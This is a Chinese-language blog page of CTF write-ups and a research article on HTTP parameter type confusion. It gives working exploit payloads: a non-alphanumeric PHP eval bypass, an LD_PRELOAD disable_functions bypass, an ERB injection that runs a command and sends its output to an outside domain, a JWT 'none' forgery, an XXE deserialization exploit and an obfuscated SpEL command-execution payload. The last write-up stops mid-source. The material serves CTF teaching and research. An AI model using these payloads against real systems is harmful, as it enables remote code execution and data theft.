CTF

前言

本题是由于前期新手题放出来,有些能力比较强的师傅秒完题没题做,放出来拖拖时间给师傅们找点乐趣的。
难度并不大,都是考烂的知识点,不过由于就花了半个小时出题= =,结果大部分都和我想要的预期解不一样。
这里就说一下预期解
题目环境: http://114.116.44.23:40001/
题目源码:

 <?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

非预期

发现大部分师傅的exp都是这个

?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

emmmmmm
应该大部分都是网上直接copy的,一摸一样,没得灵魂
原因还是因为我给的条件太宽泛了,其实预期解,是想让大家自己实现无文件RCE的
if(preg_match("/[A-Za-z0-9]+/",$code) ×

~~if(preg_match("/[A-Za-z0-9_`'"^?<>${}]+/",$code) √

预期

我的exp:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

当然,这个exp需要php版本刚好为7.0,通过phpinfo就可以知道版本,大于小于这个exp都会失效,具体原因大家应该知道为什么(卖个关子

然后我们就可以在U-A头里面随意执行命令,蚁剑连上,准备拿flag
然而,我们发现 根目录的 /flag无法读取,很多人来问我为什么
其实看权限就能知道,/flag是没有权限读取的,打过CTF的都知道,一般这个时候,根目录会留一个/readflag来让ctfer 执行命令拿flag,/readflag会有一个s权限 Linux 文件权限与ACL

所以,我们必须RCE才能获取/flag

但是,phpinfo里ban了所有RCE函数,
图片.png

pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,
passthru,symlink,link,syslog,imap_open,ld,dl

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较好,
这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function

后者这算我出题的一个小失误,但是我也没有实现动态靶机的能力,只能说心有余而力不足。
上面的github的链接就是本题的exp,原理也说了,工具怎么用,就看看上面的github,虽然没有达到我想要的预期,不过放在新生赛题目中,能看到有几个新生确实凭着自己能力,最终把这道题给做了出来,还是蛮欣慰了。
这个CTF题目比较偏pentest,在我之前的一次渗透中,就用到了这个方法RCE
https://evoa.me/index.php/archives/58/

end

题目环境不会关,除非我VPS过期 XD,想复现这个简单题目的师傅可以去复现一下 (溜

- Read More -
安全研究

前言

这个思路的起因是因为 今年的SCTF2019我出的一道Web题目 Flag Shop,当时这道题目我准备的考点只是一个ruby的小trick,并且有十几个队伍成功解出,但是在比赛的最后 VK师傅@Virink告知我这道题存在一个非预期 可以GetShell。这个非预期Getshell的知识点就是本文的主体内容,而后我在多个编程语言里进行了测试,发现很多语言也存在相似的问题。遂有了此文章。
在文章发布之前的UNCTF中,我把node.js在此攻击面上的问题单独抽离了出来做了一道题目。想看这道题wp的师傅可以移步另外一篇文章
推荐师傅们看此文章前,先看一遍 SCTF 2019 Flag Shop和 UNCTF arbi第三部分的Wp

SCTF flag shop Write-up flag-shop](https://github.com/ev0A/SCTF2019-Flag-Shop)

例题

我还是决定先从大家最喜欢的PHP讲起,请看这一道例题

<?php

$flag = "flag";

    if (isset ($_GET['ctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

这是Bugku的一道题目 相信大部分人都做过,考察的的是PHP的弱类型,这里只需要输入?ctf[]=1即可绕过,这就是一个最简单的HTTP传参的类型差异的问题,但是实际中不可能有程序员写出这种无厘头的代码,而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题,所以就在思考,有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢

Ruby

为了让大家更快了解我的标题的含义,我直接用我当时flag shop非预期来做一个讲解

预期解

if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

这个就是我的Flag Shop中存在非预期的代码,如果对这道题不是特别了解的话可以去看看,buuctf有此题的复现环境http://buuoj.cn/ 再此感谢下赵总上题 [@glzjin ]()

这里简单讲一下 预期做法,就是此题用了一个ERB模板引擎,在此题条件下存在模板注入的问题,但是我限制了用户只能输入7位 字符串进行模板注入 就是上面的第一行

#{params[:name][0,7]}

这行代码 代表 url参数名是name 并取前七位,然后模板渲染并且可回显需要<%==> 标志,除去这5个字符只剩下2个字符可用 ,这道题就是两个字符进行模板注入爆破JWT-Secret。

非预期解

当然,上面是预期解的做法,下面讲讲非预期解的做法,

看文下面这个代码,大家就知道为什么会产生非预期了

$a = "qwertyu"
$b = Array["bbb","cc","d"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

{}可以想象成 ${} 代表解析里面的变量
[0,3]可以想象成python的[0:3]
输出结果

[evoA@Sycl0ver]#> ruby test.rb
$a: qwe
$b: ["bbb", "cc", "d"]

这里,可以类比PHP中的弱类型,$b变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]

有了这个trick,上面代码[0,7]从原本的限制7个字符突然变成了限制7个数组长度emmmmmmm,于是

非预期exp

/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

直接实现了任意命令执行

解释

这就是一个HTTP参数传递类型差异的问题,具体的意思就是,由于语言的松散型,url传参可以传入非字符串以外的其他数据类型,最常见的就是数组,而后端语言没有做校验,并且在某些语法上,字符串和数组存在语法重复,就可以利用这个特性,绕过一些程序逻辑

什么叫语法重复,就是对一个变量进行一些操作,不管变量是数组还是字符串,都可以成功执行并返回。
最常见的就是输出语法,比如echo ,大部分编程语言会把数组转换为字符串。
当然,这并不是什么新鲜的攻击面,只是在之前没多少人系统的归纳这种攻击方式,但我觉得如果能找到一个合适的场合,这种利用方式还是很强大的(比如我的getshell非预期Orz

Javascript

数组和字符串

很多师傅是JS的忠实粉丝,因为其强大的灵活性和爽快的代码风格

但是JS不属于强类型语言,他也同样存在类似的问题

var a="abcedfghijtk"
var b=["qwe","rty","uio"]

console.log(a[2])
console.log(b[2])

输出:

[evoA@Sycl0ver]#> node test.js
c
uio

当然,仅仅是一个[]语法还是比较鸡肋的,我们需要找能同时兼容数组和字符串的函数或语法,JS中对数组和字符串通用的函数有哪些呢

测试代码

function contains(arr, obj) {
  var index = arr.length;
  while (index--) {
    if (arr[index] === obj) {
      return true;
    }
  }
  return false;
}
//两数组 取并集
function arrayIntersection (a,b){
  var len=a.length;
  var result=[];
  for(var index=0;index<len;index++){
    if(contains(b,a[index])){
          result.push(a[index]);
        }
  }
  return result;
}

console.log(arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor)))

输出结果

arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor))
(7) […]

0: "prototype"

1: "slice"

2: "indexOf"

3: "lastIndexOf"

4: "concat"

5: "length"

6: "name"

length: 7

<prototype>: Array []

这是数组和字符串通用的方法,除了原型对象自身的方法外,还有全局下的一些函数和语法,他们的参数既可以是数组,也可以是字符串。比如

/test/.test("asdtestasd")
/test/.test(["asdtestasd","123"])

字符串与数组拼接时也存在默认调用toString方法

> b+a
"qwe,rty,uioabcedfghijtk"

数组和对象和字符串

然而,Express框架中,有一个更神奇的特性,HTTP不仅可以传字符串和数组,还可以直接传递对象

var express = require('express');
var app = express();
app.get('/', function (req, res) {
   console.log(req.query.name)
   res.send('Hello World');
})
 
var server = app.listen(8081, function () {
  var host = server.address().address
  var port = server.address().port
 
})

输入

?name[123]=123&name[456]=asd

输出

{ '123': '123', '456': 'asd' }


我们把

console.log(req.query.name)

改成

console.log(req.query.name.password)

输入

/?name[password]=123456

输出

123456

我们来看几个好玩的

输入输出
?name[]=123456&name[][a]=123[ '123456', { a: '123' } ]
?name[a]=123456&name=b{ a: '123456', b: true }
?name[a]=123456&name[a]=b{ a: [ '123456', 'b' ] }
?name[][a]=123456&name[][a]=b[ { a: [ '123456', 'b' ] } ]

感觉有点像HPP漏洞,但实际又不是
unctf中,我就采用了 .length方法用来判断字符长度,而length也存在一个语法重复,可以对数组进行操作,通过url传入数组,构造恶习url即可绕过

结合一下数组和对象通用方法 我觉得,这方面express很多有趣的特性可以去发现

PHP

php可以从url中获取数组类型,然而可惜的是,php 对于数组和字符串 官方文档中说明,存在重复的语法很少,输出语法中,数组只会被替换为 "Array" 字符串。
但是,数组传入一些函数都会获得一些奇怪的返回值,这就是很多弱类型CTF题目的考法,可以通过url传入数组,进入一个函数,获得一个奇怪的返回值绕过。所以我觉得,在这个方向,PHP还是存在很大一片挖掘的领域的。

Python

Python的框架貌似不太支持http传入奇怪的东西

经测试

django 和 flask默认不支持传入奇怪的东西(只能传入字符串)

web2py框架支持传入列表

tornado的self.get_query_argument只会获取一个参数,self.get_query_arguments可以获取列表

很可惜,如果我们通过一种方式获取到非字符串类型的数据类型(比如json传递,xml传输等),在Python中,我们也能有好玩的方式

PS: Py不像Js那样,获取列表字典的值必须要用xxx["xxx"]的语法而不能用xxx.xxx

废话不多说 看代码

a = "qwertyuiop"

b = ["aaa","bbb","ccc","ddd"]

c = "----%s----" %b

print(a[:3])
print(b[:3])
print(c)

结果

[evoA@Sycl0ver]#> python test.py
qwe
['aaa', 'bbb', 'ccc']
----['aaa', 'bbb', 'ccc', 'ddd']----

同样,python也有全局方法 参数既可以是字符串也可以是变量

a=dir("123")
b=dir([1,2,3,4])
tmp = [val for val in a if val in b]
#取a b 交集
print tmp

结果

['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']

可能在这个攻击面上,Python原生提供的方法,确实比较难利用,但是还有很多库和函数没有去测试,我也相信,如果能有一个有趣的数据传输方式,配合python那么多的库和函数,也会有很多很多有趣的攻击方式

Java

其实我在没测试的时候就猜到了结果

测试发现Springboot 存在HPP漏洞,多个url参数会自动拼接 并用,分割,并不会转换类型

原生JSP & Servlet 在这个方面不存在任何漏洞 果然Java严格数据类型还是牛逼(破音

Go

我不会什么Go的框架,只测试了Beego,由于Go的强类型

beego也是提供严格的变量获取方法,调用方法的不同决定了参数的类型

比如GetString 返回字符串 GetInt 返回整形 GetStrings返回字符数组,把url变量相同的放到一个数组中

所以正常来说,Go也是真的很安全的

asp & aspx

测试只发现存在HPP漏洞,多个参数用","分割,不能变为其他数据类型

后话

当然,这些利用方式比较单调,除了node有一定的花样外,其他的都比较单一,但是我们也可把眼光方法放大,除了url传参,还有json,xml

所以大部分情况下,可能接下来的攻击面只能利用在服务端会解析Json数据的情况下,对于Py中的Json数据,我们可以伪造以下数据类型

- Read More -
Web

前言

这次UNCTF 我一共出了两道Web题目,一道node.js (Arbi)一道Java(GoodJava),由于比赛宣传力度可能不是特别大,再加上比赛周和很多的大型线下赛冲突,所以很多师傅都没有来参加比赛,有一点小遗憾。本次准备的两道题目都是花了很长时间准备的(特别是Arbi),下面就分享一下题目的解法,并且由于arbi这道题目我用了一个我认为比较新的攻击面,所以我会在写另一篇文章单独讲这个攻击面(真的绝对不是凑稿费XD
并且由于题目被安恒买断,我不能在互联网上公开题目的搭建dockerfile,但是这两道题目是公开的代码审计,所以我可以放出题目的源码,搭建就麻烦各位师傅花一点点时间,如果有搭建不成功的也可以私我询问,敬请谅解

Arbi

这道题的出题思路是在SCTF被非预期后想到的,采用和当时一样的非预期攻击面(具体可以移步另一篇
为了增加题目难度,我与[ångstromCTF 2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019----quick-write-ups-by-terjanq-web)
的一道题的trick相结合,加上一点点node的特性,于是就有了这道题
可能由于第一关脑洞有点大==,这道题虽然第一天就放了出来,但是很多师傅刚开始都没拿到源码,最终这道题放了6个hint,终于在6天后的 比赛最后一天被解了出来Orz

第一关

首先浏览题目,可以发现页面只有登陆注册,查看返回包,可以发现X-Powered-By告知了网站采用express构建
注册登录以后首页会显示一个派大星的图片和用户名
图片.png
查看源代码可以发现可疑ssrf
图片.png
但是如果更换src参数会提示,"Evil request!"
这个其实试一试就很容易猜到,这个路由的后端代码会匹配请求的url和用户名是否对应,在后面给的hint也可以得到这个结果
源码:
图片.png
然后其实服务器的9000端口开了个SimpleHTTPServer,(题目描述)hint也讲的很清楚
如果直接访问/upload/evoA.jpg 也可以访问到图片,所以可以推断出,SimpleHTTPServer的根目录很可能在web根目录下,由于express的路由无法直接访问源代码文件,但是因为SimpleHTTPServer的原因,我们可以通过这个端口直接获取源码文件

这里就是第一个考点,虽然我们不知道node的入口文件是什么(大部分可能是app.js或者main.js,但此题不是)
node应用默认存在package.json,我们可以通过读取这个文件获取入口文件,由于上面说了ssrf接口会判断用户名是否匹配请求的url,所以我们可以注册一个恶意的用户名,"../package.json?"
这里?刚好把后面的.jpg给截断了,登录以后已经没有派大星了(图片内容是package.json的内容)
图片.png
把图片下下来用文本打开,即可看到package.json文件内容
图片.png
可以得到flag在/flag中,并且项目主入口是mainapp.js,继续注册文件名,一步一步爬源码
读到routers/index.js的时候可以看到源码路由(为了防止师傅们做题爬的太辛苦)访问下载源码即可
图片.png
第一关以拿到源码结束

第二关

审计源码,可以发现有一个读文件的敏感操作在一个admin23333_interface的路由中,但是这个路由会鉴权用户是不是admin,所以第二关的核心任务是如何成为admin,(注册时不能注册admin用户的)
这里我参考了[ångstromCTF 2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019----quick-write-ups-by-terjanq-web)这道题
但是为了防止做题的时候被师傅们搜到,我对照这个功能,重新写了一遍代码。
具体代码就不贴了,师傅们可以自己看源码,我讲一下大概逻辑
首先注册登陆采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候通过用户传过来的id取出对应的secret_token来解密jwt,如果解密成功就算登陆成功。
这里就是第二个考点

node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密
图片.png
因为服务端 通过

 var secret = global.secretlist[id];
 jwt.verify(req.cookies.token,secret);

解密,我可以通过传入不存在的id,让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

# pip3 install pyjwt
import jwt
token = jwt.encode({"id":-1,"username":"admin","password":"123456"},algorithm="none",key="").decode(encoding='utf-8')
print(token)

替换jwt后使用admin/123456登陆即可成功伪造admin
图片.png
第二关就结束了

第三关

其实第三关才是我最想出出来的,但是由于思路不够,第三关感觉太简单了,所以前面设置了很多坎
成为admin后,就可以访问admin23333_interface接口,审计可以发现,这是一个读取文件的接口 这里用到了express的特性,当传入?a[b]=1的时候,变量a会自动变成一个对象 a = {"b":1} 所以可以通过传入name为一个对象,避开进入if判断 从而绕过第一层过滤
if(!/^key$/im.test(req.query.name.filename))return res.sendStatus(500); 第二个过滤是 判断filename 不能大于3,否者会过滤.和/,而读取flag需要先目录穿越到根目录
而../就已经占了3个字符,再加上flag肯定超过限制,
这时候可以换个思路,length不仅可以取字符串长度还可以取数组长度,把filename设数组,再配合下面的循环 即可完美恢复数组为字符串绕过过滤,
而express 中当碰到两个同名变量时,会把这个变量设置为数组,例如a=123&a=456 解析后 a =
[123,456],所以最终组合成

/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g

GoodJava

此题参考了最近的TMCTF,经过了改编 加大了难度

第一关

题目会提供一个Jar包
用idea打开反编译后审计源码
找到Controller
图片.png

源码可知一共有两个路由
第二个路由需要输入secret密钥才能访问,而secret存在在服务器/passwd文件中
可以猜测第一个路由就是获取密钥文件的功能,跟进可以发现OIS类继承了ObjectInputStream,把POST数据传入OIS构造方法,而然后ois.readObject()则是反序列化操作
但是resolveClass方法限制了被反序列化的类只能是com.unctf.pojo.Man类
查看Man类,可以发现重写了readObject方法,这是Java反序列化的魔术方法,审计一下很容易发现XXE,根据代码构造XXE读passwd即可
PS: 需要注意一下本地构造时包名和serialVersionUID必须一致,此值代表了对象的版本或者说id,值不一致反序列化操作会失败
这里有个小考点,这里限制了xml数据不能含有file(大小写),而我们需要读取/passwd
这里有个trick,Java里面有个伪协议netdoc,作用和file一致,都是读取文件,所以这一步很简单,把file换成netdoc即可
注意一下本地构造包名也必须一致哦,不仅仅是类名一致就行
Man类加一个writeObject即可
详细步骤可以看看https://github.com/p4-team/ctf/tree/master/2019-09-07-trendmicro-quals/exploit_300

exp

output

第二关

然后就是第二步,考点是代码执行绕过
这里有个SPEL注入,可以构造任意类,但是同样代码过滤了Runtime|ProcessBuilder|Process|class
这三个Java中执行命令的类,题目提示必须执行命令才能拿到flag,然后Java又是强类型语言,很多操作不像php那么动态,所以这一步可能会难住很多人
然后这里有个trick,java内部有个javascript的解析器,可以解析javascript,而且在javascript内还能使用java对象
我们就可以通过javascript的eval函数操作
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("xxxxxxxxx")
由于不能使用关键字,我们可以通过字符串拼接来
http://juke.outofmemory.cn/entry/358362
exp里面也有对应的转换脚本

#------------------
payload = 'new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("/readflag").getInputStream())).readLine()'
#------------------
exp = ""
first_flag = True
for c in payload:
    c = ord(c)
    if first_flag:
        exp += '(T(java.lang.Character).toString({0}))'.format(str(c))
    else:
        exp += '.concat(T(java.lang.Character).toString(%s))' % str(c)
    first_flag = False
print(exp)

exp

package com.unctf.pojo;

import java.io.*;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
//import

public class Man implements Serializable {
    public String name;
    private static final long serialVersionUID = 54618731L;

    public Man(String name) {
        this.name = name;
    }



    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException{

        String payload = "<?xml version=\"1.0\"?><!DOCTYPE name [<!ENTITY test SYSTEM 'netdoc:///passwd'>]><name>&test;</name>";

        objectOutputStream.writeInt(payload.length());
        objectOutputStream.write(payload.getBytes());

    }
    private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException {
        int paramInt = aInputStream.readInt();

        byte[] arrayOfByte = new byte[paramInt];

        aInputStream.read(arrayOfByte);

        ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);

        DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();

        localDocumentBuilderFactory.setNamespaceAware(true);

        DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();

        Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);

        NodeList nodeList = localDocument.getElementsByTagName("tag");

        Node node = nodeList.item(0);

        this.name = node.getTextContent();
    }
}
package com.unctf;

import com.unctf.pojo.Man;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.methods.ByteArrayRequestEntity;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.params.HttpMethodParams;
import org.junit.Test;

import java.io.*;


public class Exp {
    @Test
    public void exp001() throws IOException {
        String url = "http://192.168.221.129:8888//server";
//        String url = "http://localhost:8080/server";

        Man person = new Man("asd");
        HttpClient httpClient = new HttpClient();
        httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
        PostMethod postMethod = new PostMethod(url);
        postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
        postMethod.setRequestHeader("Content-Type", "application/raw");


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(person);


        ByteArrayRequestEntity byteArrayRequestEntity = new ByteArrayRequestEntity(new Base64().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(byteArrayOutputStream.toByteArray());
        postMethod.setRequestEntity(byteArrayRequestEntity);

        httpClient.executeMethod(postMethod);
        String responseBodyAsString = postMethod.getResponseBodyAsString();
        postMethod.releaseConnection();
        System.out.println("-------------------------------");

        System.out.println(responseBodyAsString);
    }
    @Test
    public void exp002() throws IOException {
        String url = "http://192.168.221.129:8888//admin";



        HttpClient httpClient = new HttpClient();
        httpClient.getHttpConnectionManager().getParams().setConnectionTimeout(15000);
        PostMethod postMethod = new PostMethod(url);
        postMethod.getParams().setParameter(HttpMethodParams.SO_TIMEOUT, 60000);
        postMethod.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        postMethod.setParameter("secret","k8Xnld8zOR2FhXEEnv3j3LQAiYGcb5IaPdVj");

        String shellcode="(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(66)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(41))";
        String payload="T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\").eval("+shellcode+")";

//        payload = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"js\")";
        postMethod.setParameter("name",payload);
        httpClient.executeMethod(postMethod);
        System.out.println(postMethod.getResponseBodyAsString());
        postMethod.releaseConnection();
        }



}

output

- Read More -
CTF

官方已放出源码
https://github.com/stypr/my-ctf-challenges/tree/master/XCTF_Finals_2019/lfi2019

前言

比赛打的很糟糕,太菜了,只会做这一道题,而且还是刚好考的知识点都了解,纯属运气,rp选手,其他题都是刘师傅C我,要开始闭关学习了
还有ROIS是真的强,做web跟喝水一样

源码

由于现在刚刚打完比赛,所以我把这道题完整的做题思路写出来,尽量保证跟我当时的想法一模一样(绝对不是凑字数

首先这道题放出来已经是第二天了,第一天我是0产出,很急,看到这个题的时候我也是没有想到能做出来,然而恰好思路对上了。

看题目,没有任何描述,只给了个网址,先访问网址,顺手抓包发现题目返回头给了个X-Hint,叫我访问这个路由
图片.png
打开后给了源码

 <?php

    /*
        Developed by stypr.
        Made in 2018, Releasing in 2019!
    */

    // Baka flag-sama and seed-chan! //
    error_reporting(0);
    ini_set("display_errors","off");
    @require('flag.php');
    $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

    if($flag === $_GET['trigger']){
        die(hash("sha256", $seed . $flag));
    }

    // Sessions are never used but we add that //
    ini_set('session.cookie_httponly', 1); @phpinfo();
    ini_set('session.cookie_secure', 1); @phpinfo();
    ini_set('session.use_only_cookies',1); @phpinfo();
    ini_set('session.gc_probability', 1); @phpinfo();
    // but really, you can't really do something with sessions. //
    session_save_path('./sess/');
    session_name("lfi2019");
    session_start();
    session_destroy();

    // Flush directory for security purposes //
    // Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
    function rrmdir($dir, $depth=0){ 
        if (is_dir($dir)){
            $objects = scandir($dir); 
